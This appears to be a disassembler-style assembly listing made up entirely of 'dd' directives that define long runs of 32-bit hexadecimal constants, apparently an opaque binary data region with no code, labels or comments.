		dd 21D1F77h, 0F18A8B4Bh, 1A428FD1h, 50BF5E94h, 2297D301h
		dd 1FDA911h, 61FAB252h,	0C2FEFC6Dh, 25C25195h, 0F197F9D0h
		dd 0F1F78BC2h, 712FD6D6h, 0EAB6B12Fh, 4054072Fh, 0E0C38AD4h
		dd 34BEDCDFh, 68AF4293h, 0CDFD3119h, 0BE72718h,	0AD51734Bh
		dd 92FDFB11h, 0C8DD86C8h, 48ACA32Eh, 18992F76h,	9160D3A4h
		dd 4B569EEEh, 93D95D75h, 1FBEC396h, 2BB7B08Eh, 74508E46h
		dd 7A2EFB4h, 89D7317Dh,	0E94D443Ah, 5A95927Ah, 5E10D1E2h
		dd 514C1F46h, 2CE700D9h, 0F717F36Eh, 82F8C1DFh,	441A1555h
		dd 24D0ABFDh, 4AE9FA29h, 0FE1982CFh, 8836C0F7h,	0FAF5E4DEh
		dd 32504A12h, 0B963CFD1h, 0D425D4FFh, 58AAF7F1h, 0BBEE20D4h
		dd 0B8C712BDh, 0C38083D5h, 0E9070BE4h, 0AEDADF98h, 0F7623D7Eh
		dd 7926360h, 7428625Eh,	5DEA2648h, 30BB524Bh, 0E867E9F9h
		dd 871925BDh, 66B522D7h, 0C84F2DECh, 2E4BBA60h,	51E37DECh
		dd 757E10FAh, 9B74C3Dh,	0D94BFC68h, 94328D00h, 0E1004093h
		dd 0DE95B834h, 9008A03Ah, 0BB5D4453h, 2862330Bh, 0D2258B45h
		dd 0BF77B1Ch, 218D7FA8h, 0C1ED9F60h, 700B7670h,	7C738FE9h
		dd 0FB1AC90Dh, 2D51E55Fh, 0D0F6DAA9h, 0C6636B18h, 0D61C39F1h
		dd 30F826FBh, 0C9DA9D63h, 157AC746h, 4CE4D720h,	0E730888h
		dd 0EC045AD5h, 4A2CE807h, 68E90983h, 0EAD11F60h, 0F4BAE2EEh
		dd 0BA96354Ah, 2E0E2524h, 783F439h, 0B095C1E5h,	2B4FC1AEh
		dd 0D4F82A4Eh, 9B815189h
		dd 2E117F01h, 48C8780h,	246375CDh, 4124F857h, 0C0075DE6h
		dd 7D0BC025h, 5E480BBCh, 892A0032h, 0C109F9B9h,	97750BFh
		dd 0C93D1493h, 4694B9F0h, 5E32F725h, 12C6E704h,	0A4B76FA8h
		dd 0A53B82CBh, 5F2292DFh, 99D5994h, 20F7D0F8h, 0AC762D8Dh
		dd 0C5A1782Dh, 0C0C609C4h, 4460BA56h, 0FA6D081Fh, 306A416Bh
		dd 1716CE46h, 5A83245Dh, 0B9602829h, 45E9120Bh,	3C3DE29Ch
		dd 560C9A50h, 0F4427F3Fh, 8CB9D15Dh, 0E777A6E3h, 0B947CEEh
		dd 3A94222Dh, 0BD452EBh, 20EF70E7h, 7AD77500h, 549DBD43h
		dd 57D4120Ah, 1B2CFED1h, 0B9FEA8A8h, 268312F7h,	4E9DB85Bh
		dd 0A28847A1h, 0DE2794ACh, 0BBC48B67h, 54BDF3A0h, 337B2129h
		dd 0DC8F3024h, 21302F9Fh, 0B527BE68h, 1097CDE6h, 0C56318E2h
		dd 0A65EF2CDh, 901D1097h, 0B942EB4Eh, 0F94D3268h, 78DF8B6Ch
		dd 8162C1D6h, 0E24605A4h, 2EA89272h, 924ABD5Eh,	4CF1FC0Bh
		dd 2D182546h, 9773C98h,	0C06BD691h, 0B9F5E66Ch,	0C5564708h
		dd 0F70C1058h, 0EA47ED09h, 987988DDh, 862F7105h, 0EF005AECh
		dd 8137AD30h, 0FB1694EEh, 0B752C347h, 84F2900h,	0B729ABC4h
		dd 56A77AC5h, 5C7D018Ch, 2B5E1927h, 7C99C305h, 1FD709F8h
		dd 352D0AC4h, 0BC5BA6E1h, 0BC43F293h, 0A7F5C4F7h, 8F326F99h
		dd 2F850504h, 0F869834Fh, 0E908C240h, 990B84Eh,	3D2DA8CDh
		dd 1B902871h, 9833209Fh, 0B2984041h, 7330545Dh,	6853C205h
		dd 0E9344093h, 0FAF612EEh, 2DE28185h, 7E8A004Eh, 0B8117142h
		dd 419B4F00h, 0FCF052Eh, 0B3294812h, 62E96817h,	0FA7BDDEh
		dd 0EFE5E2E8h, 4446A25Fh, 0FDDD9271h, 0BA0104CAh, 0C564B0C1h
		dd 41003D29h, 7E346E08h, 51C960BFh, 1596D189h, 49C8D927h
		dd 0EC5772CAh, 2B57352Ch, 21729980h, 0AEC91568h, 8D0F3430h
		dd 8FF24AD6h, 0C8695E2Ah, 40B95A24h, 82F20F78h,	7EB2CD5Bh
		dd 3D022325h, 0B475C7C6h, 2D9ED3Fh, 86FBE22Eh, 24D4F1F6h
		dd 3A86CCB6h, 4A1CA3CAh, 6808FBECh, 0E90518EBh,	0DCB28CD0h
		dd 0B1BE3262h, 0E218920Ah, 9579A30Bh, 92C89279h, 0F19DFCA7h
		dd 8CF37A5Ch, 97BB5380h, 4F7C336Eh, 0D0EFCB2Fh,	5EA9E4E8h
		dd 0ADD463h, 2236C1F8h,	0CC1614Ah, 0B029C57Dh, 0D33F9620h
		dd 0A459FD28h, 110FB3AFh, 0C758C7DDh, 7A54020Bh, 9603180h
		dd 594A4E03h, 8CF458BBh, 519F3F0Eh, 508067C4h, 0C3C2E911h
		dd 0C549D4B4h, 5FBE8B23h, 0BB131E51h, 3ED57497h, 0F580A2D1h
		dd 0CF8BBC41h, 5BDF2900h, 0CAFFA9A2h, 8C4F6C3h,	612F8330h
		dd 0B26B40F1h, 31DF8621h, 0C407986Dh, 12B5C2C0h, 0D439DA83h
		dd 7F8EB813h, 0D0F57354h, 1DFDEA48h, 0F2A62815h, 0FE072D10h
		dd 0B24734C8h, 0A5B858C3h, 7782927Fh, 110E6489h, 6F87F8AFh
		dd 83B5CFEDh, 30799093h, 584BABE9h, 8AE80ED9h, 435BB1FEh
		dd 86EAEE01h, 9A05EDE8h, 4E127012h, 68A1C713h, 0F435AC3Ah
		dd 29718744h, 16CA53F8h, 152B8FEh, 71C703ABh, 0AE2605EBh
		dd 77A21E08h, 60911CECh, 31858E20h, 8F2095C2h, 0F3C101B2h
		dd 6084108Ch, 8C48821h,	0FE068D9Ah, 0AF312083h,	9BC008A6h
		dd 8836B701h, 0CDBA120h, 33107D8Bh, 59083F63h, 0A708E4E2h
		dd 184DAC0Ch, 8B5635Dh,	1810FF01h, 0A3198651h, 11429F0h
		dd 0D1368DFh, 0A97A0831h, 0F6079D13h, 0F2331060h, 102E08EEh
		dd 31CB2169h, 44C9110Ch, 8897D601h, 8388308h, 0B31DA8AFh
		dd 0AE462831h, 82D3998h, 18C6A2C3h, 20088852h, 0F1319143h
		dd 0BB802017h, 96E0888h, 864D008h, 5A086C77h, 6AA80840h
		dd 3120AC1Ch, 5548FCF5h, 280888DAh, 0BE5E08E7h,	2884220Ch
		dd 0D189CFD8h, 59A410F0h, 10FEC210h, 6C108A65h,	8B407F9Eh
		dd 8C3A404Ch, 40A70140h, 0ECA8AD67h, 0DB80BCC4h, 0E808C689h
		dd 0C2050C3h, 9E6531B8h, 8C8BD310h, 18705608h, 86D63A2h
		dd 18106B2Ah, 6610751Bh, 7C8D185Ah, 0C5633C08h,	4858E620h
		dd 381598D0h, 0CD2310B4h, 18BFB610h, 0C80804EEh, 88998111h
		dd 8954461h, 491594DDh,	0B8F210ECh, 3180912Ah, 0B1106825h
		dd 0E2A9014Ch, 92D45F01h, 54469408h, 63C12BAFh,	97A508CAh
		dd 70B02019h, 0A1881608h, 0A3082688h, 0ADEF083Bh, 71605A1Fh
		dd 0E08C672h, 0C2E03075h, 7F3908C6h, 495E3118h,	98657108h
		dd 3611D818h, 0A8C49210h, 0C4F82B64h, 6E35708h,	20204B01h
		dd 0A3319D11h, 0CD501045h, 80A36302h, 0C1313810h, 129308A1h
		dd 95788701h, 1080DE28h, 0BD2DD17Ah, 0D0C03C83h, 94E10810h
		dd 387A6518h, 8C473F8h,	9609CC6Fh, 999524A3h, 0DBAE1010h
		dd 18296710h, 8F08BAADh, 61E1CC95h, 0A1404C08h,	204662BBh
		dd 2804E08Bh, 0A7514491h, 88D77401h, 84A8C18h, 0B80C5A99h
		dd 40CD08B6h, 0CA621A1Ch, 2473B28h, 0FF054EB0h,	6DF7EC46h
		dd 0F13140C9h, 40045840h, 0B140DF34h, 89C65C4h,	7F984682h
		dd 414910EAh, 9C601DC4h, 0A424E853h, 923FEDE0h,	0C78B3C5Fh
		dd 55572872h, 752C1F47h, 8913CC02h, 0A768B90Eh,	4480E43Dh
		dd 0B49408Fh, 0F7750BC9h, 250E748Bh, 0F003DE82h, 3343BCDEh
		dd 0B10FC0C0h, 2C30694Fh, 6884DBD6h, 0E5AB38D3h, 5772E032h
		dd 0B0AF2397h, 41FBC99Dh, 6E828D6Fh, 0D4E12899h, 0B22BE5E9h
		dd 0E915D8F4h, 8C736B3Ah, 0AFB40EFDh, 0B99645F5h, 163920BBh
		dd 0C8F62F75h, 0D1013C25h, 48E08B75h, 0E95B9055h, 10DA6B83h
		dd 1CCB2803h, 68500C07h, 7D094BCEh, 0DC9D266h, 629D5154h
		dd 0E7EBAFEDh, 96200BB1h, 0F805E68Dh, 0C5AA3CA5h, 3BC3ABB3h
		dd 0E9940D08h, 2A0A2B26h, 5E590CD1h, 0C0F365ECh, 0F8DEEE3Fh
		dd 0DCB0130Ch, 0B82C6463h, 4AFE0ED6h, 6FCDB951h, 0E16B0Ch
		dd 0B8AC846Ah, 0FF2CB1FAh, 7B2E8305h, 81315888h, 1BB6CD0Eh
		dd 514D0514h, 1E375BC3h, 78A5C57Bh, 0CA0452Eh, 91884BEh
		dd 255DE801h, 5CE35AA2h, 736D7D4h, 7C2D751Ah, 1540112h
		dd 0C5E87DC7h, 8CAF2719h, 0AC4048C7h, 5C88180Fh, 65AA2734h
		dd 44EFE2D6h, 0FED223h,	29F4F181h, 6CE76ADh, 793034EAh
		dd 0BC090C0Ah, 0D7629B27h, 80D0FC2h, 0AB14050Ch, 7CE8FA66h
		dd 23D495E1h, 976651D0h, 0A64F978h, 10768AEh, 0E9C73EBh
		dd 0A1F0A64Eh, 0FE306C4h, 24D2988Eh, 0EAB65212h, 20203C08h
		dd 0E1E350E2h, 0CD729522h, 3C8B0880h, 0A1F165B5h, 81D92706h
		dd 113EE984h, 0C5AF4A94h, 5E2CA878h, 0C7E513BCh, 0FAFE2534h
		dd 80F94239h, 773EF146h, 0C5099DFEh, 192CC7Fh, 776D6856h
		dd 835E4CEEh, 966A54CEh, 89F6102Dh, 1FE90E21h, 0CD2D1C36h
		dd 0E95C030Fh, 310B80F0h, 0DC0138A1h, 0FE184309h, 0AD2C1A4Ah
		dd 0BB530050h, 77660363h, 83A924E9h, 0A4DCD848h, 8BC00CCFh
		dd 51BDC06h, 0AEF128ADh, 0DCC2C4D9h, 0B02CC00Ah, 0D3EBE828h
		dd 0E9543406h, 254C89A5h, 8486E68h, 0A0B7AC56h,	0C707AE55h
		dd 7304906Ah, 16C3605Dh, 257B3C20h, 0B4E975h, 947CEC2Dh
		dd 195F5387h, 5C10A8E6h, 781D79FDh, 318B7ED6h, 49FF79DFh
		dd 0E41C047Eh, 0B747EE65h, 8A023396h, 0C15A684Bh, 0C3C25DE5h
		dd 6C0DBC51h, 0ACD8AF69h, 280CC75Ah, 34515BD0h,	0E9DF816Eh
		dd 6D8398B5h, 0DD0610C6h, 0F5F78999h, 249E5151h, 80A54292h
		dd 0B3146D72h, 10FF032Bh, 2D437E27h, 2787EC5Ah,	0C9C659A9h
		dd 76CB0402h, 0C488E4FBh, 27F227FCh, 9FA9CEB7h,	0A3A73674h
		dd 3283131h, 172DB9FEh,	6C072BA7h, 27A6452h, 548EE9D7h
		dd 245D3C08h, 8080F579h
		dd 810F76F3h, 0DD264D85h, 0C8534E77h, 0C1258092h, 80D071C7h
		dd 3E42B850h, 400C76B0h, 3A2E3DE9h, 2680553h, 83390E28h
		dd 18CEE539h, 6AC5C5Fh,	60ABEB85h, 1D3D22E3h, 0DA31113Eh
		dd 0EAF474B9h, 1B20B629h, 0AE014823h, 95E0089Eh, 0A321AA3Eh
		dd 57B9D480h, 5438462Dh, 0A89826A0h, 6F1D3C30h,	0BD83712Fh
		dd 4C0B1FEAh, 66205368h, 77BA169Ch, 0CF710759h,	0D8914DC9h
		dd 51627D3Eh, 73C6488h,	0EE36255h, 68137DC6h, 4E613D10h
		dd 0FA4D2A81h, 0B55DF3E0h, 54F937CBh, 0E161834Bh, 0FF9136F0h
		dd 35AF85DFh, 651B9D60h, 752258A8h, 2A333C07h, 0C4ED6017h
		dd 0E9EE4EFEh, 0FECEFC25h, 2E605AB0h, 44E43C85h, 76A2682Fh
		dd 0FC7F0h, 0AE978E3h, 0CC181B50h, 1A187A17h, 4AE3AD84h
		dd 6B1FE54Ah, 41C25BB0h, 73FC2E13h, 16A559C6h, 4BBAB802h
		dd 0D7530A3Ch, 0A6D32160h, 12C765C0h, 9F7DBD45h, 39AB14E0h
		dd 0F66EA3A2h, 0AAA6332h, 7C40775Ch, 0EA3E80D7h, 0FD58AAA3h
		dd 8036BF59h, 690B4A3Dh, 70F95801h, 4015FB2Eh, 82788B57h
		dd 5179294Ch, 55C06A0Dh, 590B79A6h, 61C6F327h, 9EA18E16h
		dd 68C55083h, 0B1A63CB2h, 7FBE5606h, 334AC25Dh,	5A3F6EE9h
		dd 0F8200E10h, 54B2F05Eh, 0B2008082h, 9E822CBAh, 572E3ACCh
		dd 0F6506927h, 87746B33h, 84178C11h, 6DD8AE12h,	97DF6146h
		dd 0E9312A7Dh, 79FD3A5Eh, 8A456515h, 2FB8E502h,	17403DD3h
		dd 0B673C5F5h, 7503B590h, 294E6622h, 82AF7EEh, 0D40E5D18h
		dd 2D8D0154h, 96E9C601h, 488AA544h, 256BD2C2h, 197737DAh
		dd 0C45EFEDh, 577728FBh, 0A9F05A5Ah, 7885B55Fh,	0C3F84068h
		dd 0B51FB4AAh, 3003A2C0h, 59E961DFh, 5D135874h,	27360156h
		dd 3B7C0B2Dh, 4AE40280h, 824C4BF7h, 0A3D6310Eh,	5603B33Fh
		dd 0D705B0BBh, 0F9A79843h, 0AE64EAD1h, 59047EEFh, 52281342h
		dd 5F1B03E3h, 0F68154FDh, 15036888h, 40820F0Ah,	0CBEA3CBh
		dd 18913C9Ah, 695D2083h, 0C1D6F713h, 834E540Fh,	0F06C28Bh
		dd 0DBFCEF3h, 0AB43E784h, 7B9FFD00h, 48D1109Dh,	56266CEFh
		dd 0BFBB80A2h, 210CE030h, 9D8ACADFh, 0D997ED78h, 0BE134A21h
		dd 0AAD6F014h, 62F7F940h, 2756AADEh, 7DF4988h, 0F4D7E50Dh
		dd 2240AE89h, 202D5150h, 4D5D063Dh, 32DB35E9h, 0DCA801Ch
		dd 2C8AF2C0h, 0E13304DDh, 62154E20h, 0EB89A461h, 1645B3A9h
		dd 2425E088h, 33690190h, 0F05622C3h, 23C477C1h,	0AE1709D2h
		dd 0BB87BA44h, 0D7CCEB40h, 0D3A2B5EAh, 0BEE3C5DDh, 9C7FCF25h
		dd 47E93FB9h, 208CE4CBh, 2945E1FEh, 5AF9F660h, 18A9F372h
		dd 29D066CAh, 0B7587BC3h, 61203F44h, 7904382Ch,	431B4B5Ch
		dd 8C486BC4h, 2FC88477h, 0BCAFB34h, 1F3B816h, 0D6E946C0h
		dd 4E1A9D83h, 7AF0909Ch, 2718F505h, 0AF583FACh,	7A3350Ah
		dd 0ED03AA17h, 0C1F1346Fh, 95E3C529h, 8EAE0812h, 71E90C0Eh
		dd 255A583Fh, 0BCD50C8Bh, 48E9188Bh, 932D169Eh,	8B289D05h
		dd 61AAC589h, 3EE0852Ch, 64481741h, 0E52F346Ch,	0EA08051Eh
		dd 0DC4BFCCBh, 182FE9D4h, 38D6C821h, 0FC335FB4h, 4A6B70CDh
		dd 0B38E4B6h, 718B3C22h, 83D156E1h, 5A8F0F36h, 0F65F0230h
		dd 0B14EC0B0h, 315185F0h, 1FAC6CE2h, 9DECBA52h,	88E91B02h
		dd 0B7FA5543h, 42334932h, 625541ADh, 3FEC51F6h,	617DDE98h
		dd 6E1243E6h, 0A70450BFh, 0E9025FAEh, 0C1691E03h, 0FE5530FBh
		dd 71DB0216h, 72426E7h,	0CE288196h, 0C138B450h,	86BAF1E6h
		dd 2742688Fh, 25CD2055h, 0ABA5660h, 96412670h, 0AACA3984h
		dd 2086A250h, 0A6680028h, 594E0620h, 710BF181h,	801D5056h
		dd 92182B1Ah, 1D82900Fh, 0BE111F62h, 3960C100h,	0F129103Eh
		dd 8A2E9F0h, 0E047005Fh, 66B4252h, 0D15FF931h, 86018CE1h
		dd 0E93E8544h, 0E73A3010h, 24AC4FC1h, 0C378EF41h, 166F1D93h
		dd 163AF215h, 8352E2ACh, 5505B609h, 0F980326Ch,	801C37B1h
		dd 0EFC3B4C1h, 0C3CF2879h, 41B8ACC7h, 6E64Eh, 0B252C504h
		dd 27CAFEBFh, 43FAA3E9h, 96F6CE3Fh, 68000258h, 99A4FB0Eh
		dd 0BFCF60E9h, 0BE3CD205h, 0E3093975h, 82E4A389h, 0FE0136FEh
		dd 203E4286h, 5313BC28h, 25559854h, 0B4A0D780h,	768A2057h
		dd 8870F6F7h, 155EEDFEh, 734839F8h, 3867275Ch, 0A94AB9BFh
		dd 0D90C4287h, 75CA75DCh, 51E8B50Bh, 305C0622h,	2415EC3h
		dd 0D0A0902Eh, 9C98B87Bh, 0CF1EF23Eh, 2D7A52F3h, 64F49DF1h
		dd 0A5EE715Ah, 52014F79h, 4B220C01h, 54A2C1C6h,	889211A6h
		dd 1028F918h, 0DC56E318h, 81C0B5CCh, 3712D851h,	8C2D6792h
		dd 33126649h, 25105631h, 6B275CE0h, 66F8350Fh, 0FD0097FEh
		dd 0F4E4BF58h, 0E9F50C96h, 0BE2E9AE7h, 252C67E2h, 1E42E035h
		dd 8CFF48EBh, 0F7A64458h, 7B269677h, 0C318C349h, 6086E9A9h
		dd 77F52322h, 827B5333h, 0A6320437h, 0E6301752h, 775A9DAFh
		dd 0B5F60C20h, 8A575DC2h, 813AA596h, 0F4B536Fh,	1635348Ah
		dd 506E2430h, 9D5EDE76h, 0E09545F8h, 60C4E9BEh,	8D0F240Ah
		dd 67BA27BEh, 183DEB01h, 5BE96DB7h, 88F364h, 550D5FCCh
		dd 0C1718F2Fh, 4803E816h, 2D97F0h, 3C4B1209h, 0BD9AF905h
		dd 7C21CD2Dh, 1623423Eh, 2D9F5B55h, 80028BFCh, 0DF30DAC3h
		dd 7F32AFC4h, 4150B908h, 0E8B5EE3h, 0F10607B2h,	6B1606F1h
		dd 0C718DAF6h, 7F22EA42h, 0AD985A0Fh, 45BD5BFEh, 4E73EE59h
		dd 4039BAD1h, 0B6C44932h, 588A5D2Ch, 0ED818A48h, 63DC1B23h
		dd 0CD01E12Ah, 4E62B6Eh, 9FD68D2Ch, 571AD7ACh, 10BF81Dh
		dd 6D9ECD81h, 0F4404780h, 60E15AF0h, 5E9B0C23h,	0D69D9F95h
		dd 0F79E0903h, 28FC19A1h, 0D71B31D0h, 0DD60F6E3h, 886853C9h
		dd 806D9507h, 9477213h,	2871B858h, 0F12A303Bh, 0E2AB029Ah
		dd 5E012FD0h, 0E155A72Dh, 0B62A018Fh, 2164C38h,	54D228B1h
		dd 97085729h, 0ED742708h, 68ADE1C2h, 5868F816h,	0EE933DFAh
		dd 0A9DED86h, 3B70768Ch, 0C4AF161Bh, 908DFEA1h,	8D35CBEDh
		dd 8D3FDDF5h, 87862AB7h, 0ED353E30h, 1656AE16h,	4640AF13h
		dd 75485C2Dh, 207FB038h, 5624E259h, 70103F5Bh, 1D26680Bh
		dd 30577699h, 75821808h, 0D8297B90h, 7068550Ch,	40E5C93Eh
		dd 0EE0F8026h, 46F0287Eh, 9D1467FBh, 95F859ECh,	2FE17A70h
		dd 2A7E328Ah, 5F1AD6A1h, 27CCA858h, 2F196560h, 66A453D1h
		dd 0EA47DA07h, 4F6BDEh,	754A1793h, 0D3F89F28h, 24160A0h
		dd 0FE038B27h, 749A259Dh, 8280A489h, 33E609D0h,	0DEF3E93Ah
		dd 8B9EA5ADh, 29256050h, 0E7B7090Ch, 40FC7142h,	0B9B55513h
		dd 0C03A6DF5h, 76568ABh, 25E7CDB5h, 0E941E65Bh,	0BB4D5C8Eh
		dd 605E7B02h, 92BC53D1h, 0D6C1B727h, 40E7EC0Dh,	5DDE8879h
		dd 0A1314589h, 6071845Ch, 47E600C2h, 7808764Ch,	53BE9h
		dd 5187CA80h, 9EF663B5h, 0A9AD704Eh, 3B7E68C2h,	0FBADD1AEh
		dd 5158180Ah, 98B71440h, 1277720Fh, 2F8288Eh, 0C2FE41CFh
		dd 0C0504B60h, 8B09EB94h, 709F5649h, 0CE2EBE66h, 0E3093B2Bh
		dd 34BAF890h, 0EF244CE1h, 0F51355C1h, 97B2226h,	5108C8F9h
		dd 5AA53EA2h, 90F46CFFh, 3BB1595Bh, 79CB8308h, 0A955510Fh
		dd 8AF940C3h, 0C88B19DEh, 29B86409h, 48861D52h,	0BBC205A2h
		dd 0C085ECBFh, 0E54E99A6h, 8042043Eh, 0AE277CEAh, 497AE9E8h
		dd 177DBAFAh, 0F83D7586h, 82AC4A7Ah, 2D04DD27h,	43A5BA5Fh
		dd 6B60D9C9h, 55608262h, 7B2E4B3Ah, 5900F416h, 2117EDCFh
		dd 71E90BCDh, 215A0125h
		dd 4820E098h, 56770Eh, 0DC7E8A68h, 0DEBE5A2Eh, 0B59A503h
		dd 0DBE9D601h, 0F261021Fh, 21E865A6h, 0C474C689h, 0BD55CF80h
		dd 5F5C0CB7h, 0FED1E01Bh, 1134456Bh, 0B6186FFh,	0BA7CFEDh
		dd 0F660EDF1h, 49D6E9D0h, 0CE101BFCh, 14034C47h, 0CBF73EF4h
		dd 4B098254h, 0F9300339h, 60A560BBh, 7295E6EFh,	0C3989FB0h
		dd 5690E94Ah, 5C4835EEh, 0C339E7A9h, 0AB21DD13h, 41108888h
		dd 11D34F9h, 62FA80B5h,	4F69C474h, 0A4A8925Bh, 5958CAF0h
		dd 9B5726B6h, 3C086308h, 0B6AF393h, 29A0BA99h, 0C8B6CBFEh
		dd 5F8E2404h, 0FC88EE89h, 0B9E06456h, 5A7281C2h, 519D4240h
		dd 812F7F59h, 1D23687Ch, 47BC983Fh, 6423014Eh, 7BE4E410h
		dd 66A7E69Dh, 0D99F253h, 0EC2F8196h, 3BEF01ECh,	0E9342007h
		dd 1AF562D0h, 0FC5A4697h, 0C38885DBh, 25CC49DEh, 20499341h
		dd 6B149433h, 154ABA70h, 64DB8711h, 0EF25897h, 70972D82h
		dd 0AF2C9A50h, 9AD9A73h, 0FBEE38F5h, 0EFC180E4h, 0C4CF02BDh
		dd 5BBF293h, 1C15467Fh,	688CE429h, 0DB2E3B2Dh, 455749A5h
		dd 805C0967h, 0A7B96557h, 9A88F245h, 0F4301F4h,	8B5B8889h
		dd 6E3496ABh, 0A3477F53h, 8A27F3E4h, 0F7DA422Eh, 0D8504DEAh
		dd 6303800Ah, 4607A54Dh, 62E98935h, 76AD5AA7h, 77CD215Ch
		dd 5767DD69h, 0A2E2232Ch, 47C007ECh, 0AC2D8406h, 0E1D00EC7h
		dd 0AF2C5E80h, 5143518h, 17431D99h, 2A1A4045h, 0DA683A56h
		dd 9F129B5h, 3F655F8Bh,	9398686Bh, 0ACA65C21h, 48359C10h
		dd 48DA209Dh, 0F90B45ADh, 0CD008D79h, 393F71BBh, 51E8011Ah
		dd 0F5F529BAh, 90BF9F94h, 0CB2257F6h, 0A4805FBAh, 0CF10452h
		dd 41580CC1h, 0CBFD3011h, 81AFB44h, 5914040Ch, 28EA0284h
		dd 0F04108DEh, 45730E7Bh, 2840EB63h, 0F220989Eh, 0FBF7667h
		dd 536289EDh, 0B4B4D67Ch, 0C2BA683Eh, 0CEA8865Fh, 11B6520Fh
		dd 0C8CEE085h, 5412893Eh, 0C1000A4Bh, 45A96820h, 0D2462DE9h
		dd 0C4C6D710h, 0DC876D2Dh, 2EC428C0h, 0B0D8B58Bh, 515F7B1Eh
		dd 6821222Dh, 3F552657h, 9F976B6h, 8D4DACDFh, 471543F6h
		dd 0F2292DBBh, 0EC5F4EB2h, 32E9A8B4h, 0B5703E72h, 62E8E7C1h
		dd 0EE2F7D8Fh, 0ECD92092h, 973A6B31h, 8B128BC0h, 5EBC9625h
		dd 92684189h, 0F97DC207h, 0C268C1BAh, 49CC7F4Eh, 7E391230h
		dd 9A1350h, 0C5548F6Dh,	0E630E966h, 247CCB83h, 0C71BD08h
		dd 5DC2205h, 0E45E3DE3h, 0DAB052EEh, 0DECA20h, 2D1795BEh
		dd 0DCE811Ch, 2516747Ch, 395F05E9h, 533CE243h, 0AD76D162h
		dd 72DBA382h, 0C37A13A2h, 1B5B577Fh, 7DEF3412h,	51833468h
		dd 9065348h, 0E018E9CFh, 1EBF0516h, 0AF06A257h,	0ACC9A85Ah
		dd 97A650ECh, 0B0B5DDF8h, 97F292CCh, 0F15B0554h, 8781E56Ah
		dd 113972EFh, 0E4A33B7Fh, 0E316AAD7h, 0B702B53h, 2770B6C7h
		dd 53DE1E9Ch, 489F08A0h, 60BBE9D7h, 75C62F4Ah, 2758C0B9h
		dd 0F0C86F31h, 4E3A8C50h, 8C6B8CEAh, 1792C259h,	0AC0B75C1h
		dd 0AD66C83Eh, 0ADF4D04Ch, 16DB2E39h, 0F675AF06h, 413AC9BBh
		dd 3D5384B6h, 0C9512AFh, 4C6A8AAAh, 586F2033h, 60028E55h
		dd 892EA542h, 49F19C42h, 4BE4E940h, 8B599401h, 0C059C581h
		dd 72BB2C16h, 8AD65FCFh, 6836C254h, 4C59128Dh, 69BF1A3Ch
		dd 0F4705DA3h, 51A272D7h, 0B589E8D7h, 0C9802312h, 0B74A1368h
		dd 1E9213DBh, 87A03FC5h, 52500453h, 853D49BAh, 5FE8836Ch
		dd 89550488h, 0BB5AD001h, 74836809h, 0A2FEC17Bh, 0ECCE65D5h
		dd 0E093036Dh, 41D812BDh, 5AE4FCCDh, 6C121650h,	0AF5FD5Fh
		dd 8CA5E585h, 2865A340h, 0C799BD5Dh, 2F217A5Ah,	63542B50h
		dd 0F731980Bh, 78E94E18h, 0F412AE6Bh, 2F29D118h, 6B2E94FDh
		dd 0E282064h, 4C1D0CBAh, 3281FBD2h, 0E33FD6B6h,	408212AEh
		dd 0CDDEDFADh, 6B87526Ch, 6E6CBCA1h, 887F71C0h,	0DA48010Bh
		dd 0E90840FDh, 4EC7305Dh, 0DD8505BFh, 8921F8ECh, 0BA75E32Ch
		dd 0F2CB80D8h, 9641F57h, 1C2834Ah, 0ACAF48FFh, 5C29141Ah
		dd 2D0ED209h, 0FCCC74A5h, 3D18246Eh, 0BC0C18D5h, 424E093Ch
		dd 0A9275EE9h, 0A0616450h, 0A175B8A8h, 1788993Dh, 922FDCCFh
		dd 0DF5DE914h, 2D5CE680h, 0F99031C0h, 83454D09h, 675513Fh
		dd 2C8C32E9h, 0F0800F1Ch, 0F700BDE8h, 0ECCB81D3h, 241B5808h
		dd 890CE3C1h, 0C25BF13Eh, 0E58054C5h, 25619C7Ah, 0D84189BDh
		dd 84F4282Ah, 8BBFC829h, 6AD5033Dh, 0F84F06EAh,	7D520ECFh
		dd 8941EF49h, 8F482D36h, 3BEC41C2h, 54E25480h, 0CA43500Fh
		dd 75100735h, 512D67A4h, 7E074B44h, 66059501h, 0E43A2BF6h
		dd 90BA9742h, 7BDBB00h,	0F3816194h, 60ABE20Bh, 0CB2C211h
		dd 29BD703Fh, 3F34DF4Ch, 12B26890h, 0DC0315Bh, 0A0FCFC2h
		dd 0FA29268Fh, 130820F4h, 0C369E95Fh, 6AD646A2h, 11F73FBh
		dd 208CB7F6h, 80E4899Ah, 0B55F90C7h, 4849F4F9h,	0B302C299h
		dd 5AD1AD5Bh, 5D39428Bh, 6EFE289Eh, 20F75550h, 0D52CCF5Eh
		dd 0D0C700FEh, 1EF80E7h, 0F91D8851h, 7425D1F6h,	0B07E1325h
		dd 9E90BDF2h, 0C14A110Ch, 0BC596EDh, 1D9B29A5h,	287C027Fh
		dd 25267B51h, 0D5C432D7h, 1D4A28C4h, 0D2EF28D0h, 9D3C79FBh
		dd 4460145Ah, 464DBDC0h, 1CE93C6Bh, 45382E5h, 7F3C0ACh
		dd 0FDC304BFh, 5DACD17Eh, 0C7B82281h, 6E039114h, 5D7F29B2h
		dd 0AD4F6038h, 0B3BBB44Ah, 1150864Ah, 0F25B5B5Ah, 43C0C75Ah
		dd 0B0A44F9h, 74D2063Fh, 99A86654h, 0A0B96C97h,	1698DB8h
		dd 0DBF71FDEh, 97612768h, 59435B6Dh, 3D5AC380h,	0F0964806h
		dd 0E5D36707h, 0C3CAF8EDh, 94CA6856h, 0AC6AC6D9h, 0AC2FB9C7h
		dd 81BDD08Ch, 5A3E18E0h, 1689D6Bh, 0A822E90Ch, 6028B285h
		dd 0BE078252h, 10F771E5h, 0F5FDB3A2h, 0D87336C6h, 843562C7h
		dd 0FF603002h, 1A92E763h, 197B576h, 58BCD291h, 3A088005h
		dd 2F510E73h, 0DE0210B1h, 914F8E0Fh, 0EE836504h, 90DFC4EFh
		dd 59C889E3h, 0FCE8D12Dh, 0AE85840Dh, 680D00DBh, 0F61EE402h
		dd 13B5F8Ch, 0BC4C657h,	45803B5Ch, 2D7D491Dh, 945D583Eh
		dd 6067B0EEh, 870FA33Dh, 2195A077h, 97D29238h, 2F378C8Ch
		dd 0EB122C22h, 44BB620Ch, 0D0F267B8h, 3EEE6FFAh, 0E7F03EF9h
		dd 5729F362h, 2090C9DEh, 9C5F23E6h, 63E29DC4h, 2207D018h
		dd 0D2C6CBFEh, 243D32B1h, 0C31CCA58h, 104B13C9h, 77254CC0h
